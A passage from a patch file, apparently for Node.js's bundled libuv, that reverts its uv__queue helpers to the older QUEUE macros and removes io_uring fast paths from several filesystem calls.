+- q->next->prev = q->prev;
+-}
++typedef void *QUEUE[2];
++
++/* Private macros. */
++#define QUEUE_NEXT(q) (*(QUEUE **) &((*(q))[0]))
++#define QUEUE_PREV(q) (*(QUEUE **) &((*(q))[1]))
++#define QUEUE_PREV_NEXT(q) (QUEUE_NEXT(QUEUE_PREV(q)))
++#define QUEUE_NEXT_PREV(q) (QUEUE_PREV(QUEUE_NEXT(q)))
++
++/* Public macros. */
++#define QUEUE_DATA(ptr, type, field) \
++ ((type *) ((char *) (ptr) - offsetof(type, field)))
++
++/* Important note: mutating the list while QUEUE_FOREACH is
++ * iterating over its elements results in undefined behavior.
++ */
++#define QUEUE_FOREACH(q, h) \
++ for ((q) = QUEUE_NEXT(h); (q) != (h); (q) = QUEUE_NEXT(q))
++
++#define QUEUE_EMPTY(q) \
++ ((const QUEUE *) (q) == (const QUEUE *) QUEUE_NEXT(q))
++
++#define QUEUE_HEAD(q) \
++ (QUEUE_NEXT(q))
++
++#define QUEUE_INIT(q) \
++ do { \
++ QUEUE_NEXT(q) = (q); \
++ QUEUE_PREV(q) = (q); \
++ } \
++ while (0)
++
++#define QUEUE_ADD(h, n) \
++ do { \
++ QUEUE_PREV_NEXT(h) = QUEUE_NEXT(n); \
++ QUEUE_NEXT_PREV(n) = QUEUE_PREV(h); \
++ QUEUE_PREV(h) = QUEUE_PREV(n); \
++ QUEUE_PREV_NEXT(h) = (h); \
++ } \
++ while (0)
++
++#define QUEUE_SPLIT(h, q, n) \
++ do { \
++ QUEUE_PREV(n) = QUEUE_PREV(h); \
++ QUEUE_PREV_NEXT(n) = (n); \
++ QUEUE_NEXT(n) = (q); \
++ QUEUE_PREV(h) = QUEUE_PREV(q); \
++ QUEUE_PREV_NEXT(h) = (h); \
++ QUEUE_PREV(q) = (n); \
++ } \
++ while (0)
++
++#define QUEUE_MOVE(h, n) \
++ do { \
++ if (QUEUE_EMPTY(h)) \
++ QUEUE_INIT(n); \
++ else { \
++ QUEUE* q = QUEUE_HEAD(h); \
++ QUEUE_SPLIT(h, q, n); \
++ } \
++ } \
++ while (0)
++
++#define QUEUE_INSERT_HEAD(h, q) \
++ do { \
++ QUEUE_NEXT(q) = QUEUE_NEXT(h); \
++ QUEUE_PREV(q) = (h); \
++ QUEUE_NEXT_PREV(q) = (q); \
++ QUEUE_NEXT(h) = (q); \
++ } \
++ while (0)
++
++#define QUEUE_INSERT_TAIL(h, q) \
++ do { \
++ QUEUE_NEXT(q) = (h); \
++ QUEUE_PREV(q) = QUEUE_PREV(h); \
++ QUEUE_PREV_NEXT(q) = (q); \
++ QUEUE_PREV(h) = (q); \
++ } \
++ while (0)
++
++#define QUEUE_REMOVE(q) \
++ do { \
++ QUEUE_PREV_NEXT(q) = QUEUE_NEXT(q); \
++ QUEUE_NEXT_PREV(q) = QUEUE_PREV(q); \
++ } \
++ while (0)
+
+ #endif /* QUEUE_H_ */
+diff --git a/deps/uv/src/threadpool.c b/deps/uv/src/threadpool.c
+index dbef67f2f10..51962bf0021 100644
+--- a/deps/uv/src/threadpool.c
++++ b/deps/uv/src/threadpool.c
+@@ -37,10 +37,10 @@ static unsigned int slow_io_work_running;
+ static unsigned int nthreads;
+ static uv_thread_t* threads;
+ static uv_thread_t default_threads[4];
+-static struct uv__queue exit_message;
+-static struct uv__queue wq;
+-static struct uv__queue run_slow_work_message;
+-static struct uv__queue slow_io_pending_wq;
++static QUEUE exit_message;
++static QUEUE wq;
++static QUEUE run_slow_work_message;
++static QUEUE slow_io_pending_wq;
+
+ static unsigned int slow_work_thread_threshold(void) {
+ return (nthreads + 1) / 2;
+@@ -56,7 +56,7 @@ static void uv__cancelled(struct uv__work* w) {
+ */
+ static void worker(void* arg) {
+ struct uv__work* w;
+- struct uv__queue* q;
++ QUEUE* q;
+ int is_slow_work;
+
+ uv_sem_post((uv_sem_t*) arg);
+@@ -68,49 +68,49 @@ static void worker(void* arg) {
+
+ /* Keep waiting while either no work is present or only slow I/O
+ and we're at the threshold for that. */
+- while (uv__queue_empty(&wq) ||
+- (uv__queue_head(&wq) == &run_slow_work_message &&
+- uv__queue_next(&run_slow_work_message) == &wq &&
++ while (QUEUE_EMPTY(&wq) ||
++ (QUEUE_HEAD(&wq) == &run_slow_work_message &&
++ QUEUE_NEXT(&run_slow_work_message) == &wq &&
+ slow_io_work_running >= slow_work_thread_threshold())) {
+ idle_threads += 1;
+ uv_cond_wait(&cond, &mutex);
+ idle_threads -= 1;
+ }
+
+- q = uv__queue_head(&wq);
++ q = QUEUE_HEAD(&wq);
+ if (q == &exit_message) {
+ uv_cond_signal(&cond);
+ uv_mutex_unlock(&mutex);
+ break;
+ }
+
+- uv__queue_remove(q);
+- uv__queue_init(q); /* Signal uv_cancel() that the work req is executing. */
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q); /* Signal uv_cancel() that the work req is executing. */
+
+ is_slow_work = 0;
+ if (q == &run_slow_work_message) {
+ /* If we're at the slow I/O threshold, re-schedule until after all
+ other work in the queue is done. */
+ if (slow_io_work_running >= slow_work_thread_threshold()) {
+- uv__queue_insert_tail(&wq, q);
++ QUEUE_INSERT_TAIL(&wq, q);
+ continue;
+ }
+
+ /* If we encountered a request to run slow I/O work but there is none
+ to run, that means it's cancelled => Start over. */
+- if (uv__queue_empty(&slow_io_pending_wq))
++ if (QUEUE_EMPTY(&slow_io_pending_wq))
+ continue;
+
+ is_slow_work = 1;
+ slow_io_work_running++;
+
+- q = uv__queue_head(&slow_io_pending_wq);
+- uv__queue_remove(q);
+- uv__queue_init(q);
++ q = QUEUE_HEAD(&slow_io_pending_wq);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
+
+ /* If there is more slow I/O work, schedule it to be run as well. */
+- if (!uv__queue_empty(&slow_io_pending_wq)) {
+- uv__queue_insert_tail(&wq, &run_slow_work_message);
++ if (!QUEUE_EMPTY(&slow_io_pending_wq)) {
++ QUEUE_INSERT_TAIL(&wq, &run_slow_work_message);
+ if (idle_threads > 0)
+ uv_cond_signal(&cond);
+ }
+@@ -118,13 +118,13 @@ static void worker(void* arg) {
+
+ uv_mutex_unlock(&mutex);
+
+- w = uv__queue_data(q, struct uv__work, wq);
++ w = QUEUE_DATA(q, struct uv__work, wq);
+ w->work(w);
+
+ uv_mutex_lock(&w->loop->wq_mutex);
+ w->work = NULL; /* Signal uv_cancel() that the work req is done
+ executing. */
+- uv__queue_insert_tail(&w->loop->wq, &w->wq);
++ QUEUE_INSERT_TAIL(&w->loop->wq, &w->wq);
+ uv_async_send(&w->loop->wq_async);
+ uv_mutex_unlock(&w->loop->wq_mutex);
+
+@@ -139,12 +139,12 @@ static void worker(void* arg) {
+ }
+
+
+-static void post(struct uv__queue* q, enum uv__work_kind kind) {
++static void post(QUEUE* q, enum uv__work_kind kind) {
+ uv_mutex_lock(&mutex);
+ if (kind == UV__WORK_SLOW_IO) {
+ /* Insert into a separate queue. */
+- uv__queue_insert_tail(&slow_io_pending_wq, q);
+- if (!uv__queue_empty(&run_slow_work_message)) {
++ QUEUE_INSERT_TAIL(&slow_io_pending_wq, q);
++ if (!QUEUE_EMPTY(&run_slow_work_message)) {
+ /* Running slow I/O tasks is already scheduled => Nothing to do here.
+ The worker that runs said other task will schedule this one as well. */
+ uv_mutex_unlock(&mutex);
+@@ -153,7 +153,7 @@ static void post(struct uv__queue* q, enum uv__work_kind kind) {
+ q = &run_slow_work_message;
+ }
+
+- uv__queue_insert_tail(&wq, q);
++ QUEUE_INSERT_TAIL(&wq, q);
+ if (idle_threads > 0)
+ uv_cond_signal(&cond);
+ uv_mutex_unlock(&mutex);
+@@ -220,9 +220,9 @@ static void init_threads(void) {
+ if (uv_mutex_init(&mutex))
+ abort();
+
+- uv__queue_init(&wq);
+- uv__queue_init(&slow_io_pending_wq);
+- uv__queue_init(&run_slow_work_message);
++ QUEUE_INIT(&wq);
++ QUEUE_INIT(&slow_io_pending_wq);
++ QUEUE_INIT(&run_slow_work_message);
+
+ if (uv_sem_init(&sem, 0))
+ abort();
+@@ -285,9 +285,9 @@ static int uv__work_cancel(uv_loop_t* loop, uv_req_t* req, struct uv__work* w) {
+ uv_mutex_lock(&mutex);
+ uv_mutex_lock(&w->loop->wq_mutex);
+
+- cancelled = !uv__queue_empty(&w->wq) && w->work != NULL;
++ cancelled = !QUEUE_EMPTY(&w->wq) && w->work != NULL;
+ if (cancelled)
+- uv__queue_remove(&w->wq);
++ QUEUE_REMOVE(&w->wq);
+
+ uv_mutex_unlock(&w->loop->wq_mutex);
+ uv_mutex_unlock(&mutex);
+@@ -297,7 +297,7 @@ static int uv__work_cancel(uv_loop_t* loop, uv_req_t* req, struct uv__work* w) {
+
+ w->work = uv__cancelled;
+ uv_mutex_lock(&loop->wq_mutex);
+- uv__queue_insert_tail(&loop->wq, &w->wq);
++ QUEUE_INSERT_TAIL(&loop->wq, &w->wq);
+ uv_async_send(&loop->wq_async);
+ uv_mutex_unlock(&loop->wq_mutex);
+
+@@ -308,21 +308,21 @@ static int uv__work_cancel(uv_loop_t* loop, uv_req_t* req, struct uv__work* w) {
+ void uv__work_done(uv_async_t* handle) {
+ struct uv__work* w;
+ uv_loop_t* loop;
+- struct uv__queue* q;
+- struct uv__queue wq;
++ QUEUE* q;
++ QUEUE wq;
+ int err;
+ int nevents;
+
+ loop = container_of(handle, uv_loop_t, wq_async);
+ uv_mutex_lock(&loop->wq_mutex);
+- uv__queue_move(&loop->wq, &wq);
++ QUEUE_MOVE(&loop->wq, &wq);
+ uv_mutex_unlock(&loop->wq_mutex);
+
+ nevents = 0;
+
+- while (!uv__queue_empty(&wq)) {
+- q = uv__queue_head(&wq);
+- uv__queue_remove(q);
++ while (!QUEUE_EMPTY(&wq)) {
++ q = QUEUE_HEAD(&wq);
++ QUEUE_REMOVE(q);
+
+ w = container_of(q, struct uv__work, wq);
+ err = (w->work == uv__cancelled) ? UV_ECANCELED : 0;
+diff --git a/deps/uv/src/unix/aix.c b/deps/uv/src/unix/aix.c
+index 3af3009a216..f1afbed49ec 100644
+--- a/deps/uv/src/unix/aix.c
++++ b/deps/uv/src/unix/aix.c
+@@ -136,7 +136,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ struct pollfd pqry;
+ struct pollfd* pe;
+ struct poll_ctl pc;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv__io_t* w;
+ uint64_t base;
+ uint64_t diff;
+@@ -151,18 +151,18 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ int reset_timeout;
+
+ if (loop->nfds == 0) {
+- assert(uv__queue_empty(&loop->watcher_queue));
++ assert(QUEUE_EMPTY(&loop->watcher_queue));
+ return;
+ }
+
+ lfields = uv__get_internal_fields(loop);
+
+- while (!uv__queue_empty(&loop->watcher_queue)) {
+- q = uv__queue_head(&loop->watcher_queue);
+- uv__queue_remove(q);
+- uv__queue_init(q);
++ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
++ q = QUEUE_HEAD(&loop->watcher_queue);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
+
+- w = uv__queue_data(q, uv__io_t, watcher_queue);
++ w = QUEUE_DATA(q, uv__io_t, watcher_queue);
+ assert(w->pevents != 0);
+ assert(w->fd >= 0);
+ assert(w->fd < (int) loop->nwatchers);
+diff --git a/deps/uv/src/unix/async.c b/deps/uv/src/unix/async.c
+index 0ff2669e30a..5751b6d02be 100644
+--- a/deps/uv/src/unix/async.c
++++ b/deps/uv/src/unix/async.c
+@@ -55,7 +55,7 @@ int uv_async_init(uv_loop_t* loop, uv_async_t* handle, uv_async_cb async_cb) {
+ handle->pending = 0;
+ handle->u.fd = 0; /* This will be used as a busy flag. */
+
+- uv__queue_insert_tail(&loop->async_handles, &handle->queue);
++ QUEUE_INSERT_TAIL(&loop->async_handles, &handle->queue);
+ uv__handle_start(handle);
+
+ return 0;
+@@ -124,7 +124,7 @@ static void uv__async_spin(uv_async_t* handle) {
+
+ void uv__async_close(uv_async_t* handle) {
+ uv__async_spin(handle);
+- uv__queue_remove(&handle->queue);
++ QUEUE_REMOVE(&handle->queue);
+ uv__handle_stop(handle);
+ }
+
+@@ -132,8 +132,8 @@ void uv__async_close(uv_async_t* handle) {
+ static void uv__async_io(uv_loop_t* loop, uv__io_t* w, unsigned int events) {
+ char buf[1024];
+ ssize_t r;
+- struct uv__queue queue;
+- struct uv__queue* q;
++ QUEUE queue;
++ QUEUE* q;
+ uv_async_t* h;
+ _Atomic int *pending;
+
+@@ -157,13 +157,13 @@ static void uv__async_io(uv_loop_t* loop, uv__io_t* w, unsigned int events) {
+ abort();
+ }
+
+- uv__queue_move(&loop->async_handles, &queue);
+- while (!uv__queue_empty(&queue)) {
+- q = uv__queue_head(&queue);
+- h = uv__queue_data(q, uv_async_t, queue);
++ QUEUE_MOVE(&loop->async_handles, &queue);
++ while (!QUEUE_EMPTY(&queue)) {
++ q = QUEUE_HEAD(&queue);
++ h = QUEUE_DATA(q, uv_async_t, queue);
+
+- uv__queue_remove(q);
+- uv__queue_insert_tail(&loop->async_handles, q);
++ QUEUE_REMOVE(q);
++ QUEUE_INSERT_TAIL(&loop->async_handles, q);
+
+ /* Atomically fetch and clear pending flag */
+ pending = (_Atomic int*) &h->pending;
+@@ -241,8 +241,8 @@ static int uv__async_start(uv_loop_t* loop) {
+
+
+ void uv__async_stop(uv_loop_t* loop) {
+- struct uv__queue queue;
+- struct uv__queue* q;
++ QUEUE queue;
++ QUEUE* q;
+ uv_async_t* h;
+
+ if (loop->async_io_watcher.fd == -1)
+@@ -251,13 +251,13 @@ void uv__async_stop(uv_loop_t* loop) {
+ /* Make sure no other thread is accessing the async handle fd after the loop
+ * cleanup.
+ */
+- uv__queue_move(&loop->async_handles, &queue);
+- while (!uv__queue_empty(&queue)) {
+- q = uv__queue_head(&queue);
+- h = uv__queue_data(q, uv_async_t, queue);
++ QUEUE_MOVE(&loop->async_handles, &queue);
++ while (!QUEUE_EMPTY(&queue)) {
++ q = QUEUE_HEAD(&queue);
++ h = QUEUE_DATA(q, uv_async_t, queue);
+
+- uv__queue_remove(q);
+- uv__queue_insert_tail(&loop->async_handles, q);
++ QUEUE_REMOVE(q);
++ QUEUE_INSERT_TAIL(&loop->async_handles, q);
+
+ uv__async_spin(h);
+ }
+@@ -275,20 +275,20 @@ void uv__async_stop(uv_loop_t* loop) {
+
+
+ int uv__async_fork(uv_loop_t* loop) {
+- struct uv__queue queue;
+- struct uv__queue* q;
++ QUEUE queue;
++ QUEUE* q;
+ uv_async_t* h;
+
+ if (loop->async_io_watcher.fd == -1) /* never started */
+ return 0;
+
+- uv__queue_move(&loop->async_handles, &queue);
+- while (!uv__queue_empty(&queue)) {
+- q = uv__queue_head(&queue);
+- h = uv__queue_data(q, uv_async_t, queue);
++ QUEUE_MOVE(&loop->async_handles, &queue);
++ while (!QUEUE_EMPTY(&queue)) {
++ q = QUEUE_HEAD(&queue);
++ h = QUEUE_DATA(q, uv_async_t, queue);
+
+- uv__queue_remove(q);
+- uv__queue_insert_tail(&loop->async_handles, q);
++ QUEUE_REMOVE(q);
++ QUEUE_INSERT_TAIL(&loop->async_handles, q);
+
+ /* The state of any thread that set pending is now likely corrupt in this
+ * child because the user called fork, so just clear these flags and move
+diff --git a/deps/uv/src/unix/core.c b/deps/uv/src/unix/core.c
+index 25c5181f370..55aa962787e 100644
+--- a/deps/uv/src/unix/core.c
++++ b/deps/uv/src/unix/core.c
+@@ -344,7 +344,7 @@ static void uv__finish_close(uv_handle_t* handle) {
+ }
+
+ uv__handle_unref(handle);
+- uv__queue_remove(&handle->handle_queue);
++ QUEUE_REMOVE(&handle->handle_queue);
+
+ if (handle->close_cb) {
+ handle->close_cb(handle);
+@@ -380,7 +380,7 @@ int uv_backend_fd(const uv_loop_t* loop) {
+ static int uv__loop_alive(const uv_loop_t* loop) {
+ return uv__has_active_handles(loop) ||
+ uv__has_active_reqs(loop) ||
+- !uv__queue_empty(&loop->pending_queue) ||
++ !QUEUE_EMPTY(&loop->pending_queue) ||
+ loop->closing_handles != NULL;
+ }
+
+@@ -389,8 +389,8 @@ static int uv__backend_timeout(const uv_loop_t* loop) {
+ if (loop->stop_flag == 0 &&
+ /* uv__loop_alive(loop) && */
+ (uv__has_active_handles(loop) || uv__has_active_reqs(loop)) &&
+- uv__queue_empty(&loop->pending_queue) &&
+- uv__queue_empty(&loop->idle_handles) &&
++ QUEUE_EMPTY(&loop->pending_queue) &&
++ QUEUE_EMPTY(&loop->idle_handles) &&
+ (loop->flags & UV_LOOP_REAP_CHILDREN) == 0 &&
+ loop->closing_handles == NULL)
+ return uv__next_timeout(loop);
+@@ -399,7 +399,7 @@ static int uv__backend_timeout(const uv_loop_t* loop) {
+
+
+ int uv_backend_timeout(const uv_loop_t* loop) {
+- if (uv__queue_empty(&loop->watcher_queue))
++ if (QUEUE_EMPTY(&loop->watcher_queue))
+ return uv__backend_timeout(loop);
+ /* Need to call uv_run to update the backend fd state. */
+ return 0;
+@@ -431,8 +431,7 @@ int uv_run(uv_loop_t* loop, uv_run_mode mode) {
+
+ while (r != 0 && loop->stop_flag == 0) {
+ can_sleep =
+- uv__queue_empty(&loop->pending_queue) &&
+- uv__queue_empty(&loop->idle_handles);
++ QUEUE_EMPTY(&loop->pending_queue) && QUEUE_EMPTY(&loop->idle_handles);
+
+ uv__run_pending(loop);
+ uv__run_idle(loop);
+@@ -448,7 +447,7 @@ int uv_run(uv_loop_t* loop, uv_run_mode mode) {
+
+ /* Process immediate callbacks (e.g. write_cb) a small fixed number of
+ * times to avoid loop starvation.*/
+- for (r = 0; r < 8 && !uv__queue_empty(&loop->pending_queue); r++)
++ for (r = 0; r < 8 && !QUEUE_EMPTY(&loop->pending_queue); r++)
+ uv__run_pending(loop);
+
+ /* Run one final update on the provider_idle_time in case uv__io_poll
+@@ -827,17 +826,17 @@ int uv_fileno(const uv_handle_t* handle, uv_os_fd_t* fd) {
+
+
+ static void uv__run_pending(uv_loop_t* loop) {
+- struct uv__queue* q;
+- struct uv__queue pq;
++ QUEUE* q;
++ QUEUE pq;
+ uv__io_t* w;
+
+- uv__queue_move(&loop->pending_queue, &pq);
++ QUEUE_MOVE(&loop->pending_queue, &pq);
+
+- while (!uv__queue_empty(&pq)) {
+- q = uv__queue_head(&pq);
+- uv__queue_remove(q);
+- uv__queue_init(q);
+- w = uv__queue_data(q, uv__io_t, pending_queue);
++ while (!QUEUE_EMPTY(&pq)) {
++ q = QUEUE_HEAD(&pq);
++ QUEUE_REMOVE(q);
++ QUEUE_INIT(q);
++ w = QUEUE_DATA(q, uv__io_t, pending_queue);
+ w->cb(loop, w, POLLOUT);
+ }
+ }
+@@ -892,8 +891,8 @@ static void maybe_resize(uv_loop_t* loop, unsigned int len) {
+ void uv__io_init(uv__io_t* w, uv__io_cb cb, int fd) {
+ assert(cb != NULL);
+ assert(fd >= -1);
+- uv__queue_init(&w->pending_queue);
+- uv__queue_init(&w->watcher_queue);
++ QUEUE_INIT(&w->pending_queue);
++ QUEUE_INIT(&w->watcher_queue);
+ w->cb = cb;
+ w->fd = fd;
+ w->events = 0;
+@@ -919,8 +918,8 @@ void uv__io_start(uv_loop_t* loop, uv__io_t* w, unsigned int events) {
+ return;
+ #endif
+
+- if (uv__queue_empty(&w->watcher_queue))
+- uv__queue_insert_tail(&loop->watcher_queue, &w->watcher_queue);
++ if (QUEUE_EMPTY(&w->watcher_queue))
++ QUEUE_INSERT_TAIL(&loop->watcher_queue, &w->watcher_queue);
+
+ if (loop->watchers[w->fd] == NULL) {
+ loop->watchers[w->fd] = w;
+@@ -945,8 +944,8 @@ void uv__io_stop(uv_loop_t* loop, uv__io_t* w, unsigned int events) {
+ w->pevents &= ~events;
+
+ if (w->pevents == 0) {
+- uv__queue_remove(&w->watcher_queue);
+- uv__queue_init(&w->watcher_queue);
++ QUEUE_REMOVE(&w->watcher_queue);
++ QUEUE_INIT(&w->watcher_queue);
+ w->events = 0;
+
+ if (w == loop->watchers[w->fd]) {
+@@ -955,14 +954,14 @@ void uv__io_stop(uv_loop_t* loop, uv__io_t* w, unsigned int events) {
+ loop->nfds--;
+ }
+ }
+- else if (uv__queue_empty(&w->watcher_queue))
+- uv__queue_insert_tail(&loop->watcher_queue, &w->watcher_queue);
++ else if (QUEUE_EMPTY(&w->watcher_queue))
++ QUEUE_INSERT_TAIL(&loop->watcher_queue, &w->watcher_queue);
+ }
+
+
+ void uv__io_close(uv_loop_t* loop, uv__io_t* w) {
+ uv__io_stop(loop, w, POLLIN | POLLOUT | UV__POLLRDHUP | UV__POLLPRI);
+- uv__queue_remove(&w->pending_queue);
++ QUEUE_REMOVE(&w->pending_queue);
+
+ /* Remove stale events for this file descriptor */
+ if (w->fd != -1)
+@@ -971,8 +970,8 @@ void uv__io_close(uv_loop_t* loop, uv__io_t* w) {
+
+
+ void uv__io_feed(uv_loop_t* loop, uv__io_t* w) {
+- if (uv__queue_empty(&w->pending_queue))
+- uv__queue_insert_tail(&loop->pending_queue, &w->pending_queue);
++ if (QUEUE_EMPTY(&w->pending_queue))
++ QUEUE_INSERT_TAIL(&loop->pending_queue, &w->pending_queue);
+ }
+
+
+diff --git a/deps/uv/src/unix/fs.c b/deps/uv/src/unix/fs.c
+index 6b051c124f2..00d385c24b7 100644
+--- a/deps/uv/src/unix/fs.c
++++ b/deps/uv/src/unix/fs.c
+@@ -62,6 +62,7 @@
+
+ #if defined(__linux__)
+ # include <sys/sendfile.h>
++# include <sys/utsname.h>
+ #endif
+
+ #if defined(__sun)
+@@ -903,6 +904,31 @@ out:
+
+
+ #ifdef __linux__
++static unsigned uv__kernel_version(void) {
++ static _Atomic unsigned cached_version;
++ struct utsname u;
++ unsigned version;
++ unsigned major;
++ unsigned minor;
++ unsigned patch;
++
++ version = atomic_load_explicit(&cached_version, memory_order_relaxed);
++ if (version != 0)
++ return version;
++
++ if (-1 == uname(&u))
++ return 0;
++
++ if (3 != sscanf(u.release, "%u.%u.%u", &major, &minor, &patch))
++ return 0;
++
++ version = major * 65536 + minor * 256 + patch;
++ atomic_store_explicit(&cached_version, version, memory_order_relaxed);
++
++ return version;
++}
++
++
+ /* Pre-4.20 kernels have a bug where CephFS uses the RADOS copy-from command
+ * in copy_file_range() when it shouldn't. There is no workaround except to
+ * fall back to a regular copy.
+@@ -1905,9 +1931,6 @@ int uv_fs_link(uv_loop_t* loop,
+ uv_fs_cb cb) {
+ INIT(LINK);
+ PATH2;
+- if (cb != NULL)
+- if (uv__iou_fs_link(loop, req))
+- return 0;
+ POST;
+ }
+
+@@ -1920,9 +1943,6 @@ int uv_fs_mkdir(uv_loop_t* loop,
+ INIT(MKDIR);
+ PATH;
+ req->mode = mode;
+- if (cb != NULL)
+- if (uv__iou_fs_mkdir(loop, req))
+- return 0;
+ POST;
+ }
+
+@@ -2074,9 +2094,6 @@ int uv_fs_rename(uv_loop_t* loop,
+ uv_fs_cb cb) {
+ INIT(RENAME);
+ PATH2;
+- if (cb != NULL)
+- if (uv__iou_fs_rename(loop, req))
+- return 0;
+ POST;
+ }
+
+@@ -2123,9 +2140,6 @@ int uv_fs_symlink(uv_loop_t* loop,
+ INIT(SYMLINK);
+ PATH2;
+ req->flags = flags;
+- if (cb != NULL)
+- if (uv__iou_fs_symlink(loop, req))
+- return 0;
+ POST;
+ }
+
+@@ -2133,9 +2147,6 @@ int uv_fs_symlink(uv_loop_t* loop,
+ int uv_fs_unlink(uv_loop_t* loop, uv_fs_t* req, const char* path, uv_fs_cb cb) {
+ INIT(UNLINK);
+ PATH;
+- if (cb != NULL)
+- if (uv__iou_fs_unlink(loop, req))
+- return 0;
+ POST;
+ }
+
+diff --git a/deps/uv/src/unix/fsevents.c b/deps/uv/src/unix/fsevents.c
+index df703f3635f..0535b4547aa 100644
+--- a/deps/uv/src/unix/fsevents.c
++++ b/deps/uv/src/unix/fsevents.c
+@@ -80,13 +80,13 @@ enum uv__cf_loop_signal_type_e {
+ typedef enum uv__cf_loop_signal_type_e uv__cf_loop_signal_type_t;
+
+ struct uv__cf_loop_signal_s {
+- struct uv__queue member;
++ QUEUE member;
+ uv_fs_event_t* handle;
+ uv__cf_loop_signal_type_t type;
+ };
+
+ struct uv__fsevents_event_s {
+- struct uv__queue member;
++ QUEUE member;
+ int events;
+ char path[1];
+ };
+@@ -98,7 +98,7 @@ struct uv__cf_loop_state_s {
+ FSEventStreamRef fsevent_stream;
+ uv_sem_t fsevent_sem;
+ uv_mutex_t fsevent_mutex;
+- struct uv__queue fsevent_handles;
++ void* fsevent_handles[2];
+ unsigned int fsevent_handle_count;
+ };
+
+@@ -150,22 +150,22 @@ static void (*pFSEventStreamStop)(FSEventStreamRef);
+
+ #define UV__FSEVENTS_PROCESS(handle, block) \
+ do { \
+- struct uv__queue events; \
+- struct uv__queue* q; \
++ QUEUE events; \
++ QUEUE* q; \
+ uv__fsevents_event_t* event; \
+ int err; \
+ uv_mutex_lock(&(handle)->cf_mutex); \
+ /* Split-off all events and empty original queue */ \
+- uv__queue_move(&(handle)->cf_events, &events); \
++ QUEUE_MOVE(&(handle)->cf_events, &events); \
+ /* Get error (if any) and zero original one */ \
+ err = (handle)->cf_error; \
+ (handle)->cf_error = 0; \
+ uv_mutex_unlock(&(handle)->cf_mutex); \
+ /* Loop through events, deallocating each after processing */ \
+- while (!uv__queue_empty(&events)) { \
+- q = uv__queue_head(&events); \
+- event = uv__queue_data(q, uv__fsevents_event_t, member); \
+- uv__queue_remove(q); \
++ while (!QUEUE_EMPTY(&events)) { \
++ q = QUEUE_HEAD(&events); \
++ event = QUEUE_DATA(q, uv__fsevents_event_t, member); \
++ QUEUE_REMOVE(q); \
+ /* NOTE: Checking uv__is_active() is required here, because handle \
+ * callback may close handle and invoking it after it will lead to \
+ * incorrect behaviour */ \
+@@ -193,14 +193,14 @@ static void uv__fsevents_cb(uv_async_t* cb) {
+
+ /* Runs in CF thread, pushed event into handle's event list */
+ static void uv__fsevents_push_event(uv_fs_event_t* handle,
+- struct uv__queue* events,
++ QUEUE* events,
+ int err) {
+ assert(events != NULL || err != 0);
+ uv_mutex_lock(&handle->cf_mutex);
+
+ /* Concatenate two queues */
+ if (events != NULL)
+- uv__queue_add(&handle->cf_events, events);
++ QUEUE_ADD(&handle->cf_events, events);
+
+ /* Propagate error */
+ if (err != 0)
+@@ -224,12 +224,12 @@ static void uv__fsevents_event_cb(const FSEventStreamRef streamRef,
+ char* path;
+ char* pos;
+ uv_fs_event_t* handle;
+- struct uv__queue* q;
++ QUEUE* q;
+ uv_loop_t* loop;
+ uv__cf_loop_state_t* state;
+ uv__fsevents_event_t* event;
+ FSEventStreamEventFlags flags;
+- struct uv__queue head;
++ QUEUE head;
+
+ loop = info;
+ state = loop->cf_state;
+@@ -238,9 +238,9 @@ static void uv__fsevents_event_cb(const FSEventStreamRef streamRef,
+
+ /* For each handle */
+ uv_mutex_lock(&state->fsevent_mutex);
+- uv__queue_foreach(q, &state->fsevent_handles) {
+- handle = uv__queue_data(q, uv_fs_event_t, cf_member);
+- uv__queue_init(&head);
++ QUEUE_FOREACH(q, &state->fsevent_handles) {
++ handle = QUEUE_DATA(q, uv_fs_event_t, cf_member);
++ QUEUE_INIT(&head);
+
+ /* Process and filter out events */
+ for (i = 0; i < numEvents; i++) {
+@@ -318,10 +318,10 @@ static void uv__fsevents_event_cb(const FSEventStreamRef streamRef,
+ event->events = UV_CHANGE;
+ }
+
+- uv__queue_insert_tail(&head, &event->member);
++ QUEUE_INSERT_TAIL(&head, &event->member);
+ }
+
+- if (!uv__queue_empty(&head))
++ if (!QUEUE_EMPTY(&head))
+ uv__fsevents_push_event(handle, &head, 0);
+ }
+ uv_mutex_unlock(&state->fsevent_mutex);
+@@ -403,7 +403,7 @@ static void uv__fsevents_destroy_stream(uv__cf_loop_state_t* state) {
+ static void uv__fsevents_reschedule(uv__cf_loop_state_t* state,
+ uv_loop_t* loop,
+ uv__cf_loop_signal_type_t type) {
+- struct uv__queue* q;
++ QUEUE* q;
+ uv_fs_event_t* curr;
+ CFArrayRef cf_paths;
+ CFStringRef* paths;
+@@ -446,9 +446,9 @@ static void uv__fsevents_reschedule(uv__cf_loop_state_t* state,
+
+ q = &state->fsevent_handles;
+ for (; i < path_count; i++) {
+- q = uv__queue_next(q);
++ q = QUEUE_NEXT(q);
+ assert(q != &state->fsevent_handles);
+- curr = uv__queue_data(q, uv_fs_event_t, cf_member);
++ curr = QUEUE_DATA(q, uv_fs_event_t, cf_member);
+
+ assert(curr->realpath != NULL);
+ paths[i] =
+@@ -486,8 +486,8 @@ final:
+
+ /* Broadcast error to all handles */
+ uv_mutex_lock(&state->fsevent_mutex);
+- uv__queue_foreach(q, &state->fsevent_handles) {
+- curr = uv__queue_data(q, uv_fs_event_t, cf_member);
++ QUEUE_FOREACH(q, &state->fsevent_handles) {
++ curr = QUEUE_DATA(q, uv_fs_event_t, cf_member);
+ uv__fsevents_push_event(curr, NULL, err);
+ }
+ uv_mutex_unlock(&state->fsevent_mutex);
+@@ -606,7 +606,7 @@ static int uv__fsevents_loop_init(uv_loop_t* loop) {
+ if (err)
+ goto fail_sem_init;
+
+- uv__queue_init(&loop->cf_signals);
++ QUEUE_INIT(&loop->cf_signals);
+
+ err = uv_sem_init(&state->fsevent_sem, 0);
+ if (err)
+@@ -616,7 +616,7 @@ static int uv__fsevents_loop_init(uv_loop_t* loop) {
+ if (err)
+ goto fail_fsevent_mutex_init;
+
+- uv__queue_init(&state->fsevent_handles);
++ QUEUE_INIT(&state->fsevent_handles);
+ state->fsevent_need_reschedule = 0;
+ state->fsevent_handle_count = 0;
+
+@@ -675,7 +675,7 @@ fail_mutex_init:
+ void uv__fsevents_loop_delete(uv_loop_t* loop) {
